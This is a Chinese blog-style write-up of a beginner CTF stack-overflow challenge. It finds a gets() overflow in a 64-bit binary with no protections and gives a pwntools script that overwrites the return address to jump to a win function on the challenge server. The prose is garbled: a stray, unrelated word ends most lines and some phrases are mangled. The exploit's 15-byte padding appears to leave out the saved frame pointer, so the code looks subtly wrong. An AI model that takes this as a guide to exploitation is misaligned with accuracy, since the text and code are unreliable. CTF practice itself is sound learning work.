今天开始学pwn,以练促学,学以至用,加油加油node
拿到文件,首先检查一下是多少位的,如图python
能够看到是64位的文件linux
检查是否有保护,如图函数
看到没有任何保护debug
ida分析一下函数的逻辑code
进入到反汇编以下,代码逻辑就是让咱们输入,而后结束,咱们主要看一下gets,由于gets有栈溢出漏洞blog
咱们发现输入的地址空间大小为15,而后就执行函数返回地址,那么咱们直接在15后将系统命令函数地址填入便可,或者直接写函数的名称,而后取函数地址也能够rem
expget
from pwn import * context(os="linux", arch="amd64", log_level="debug") elf = ELF("pwn1") system_addr = elf.symbols["fun"] content = 0 def main(): if content == 1: p = process("pwn1") else: p = remote("node3.buuoj.cn",29922) payload = b'a'*15 + p64(system_addr) p.sendline(payload) p.interactive() main()
运行结果class
拿到flag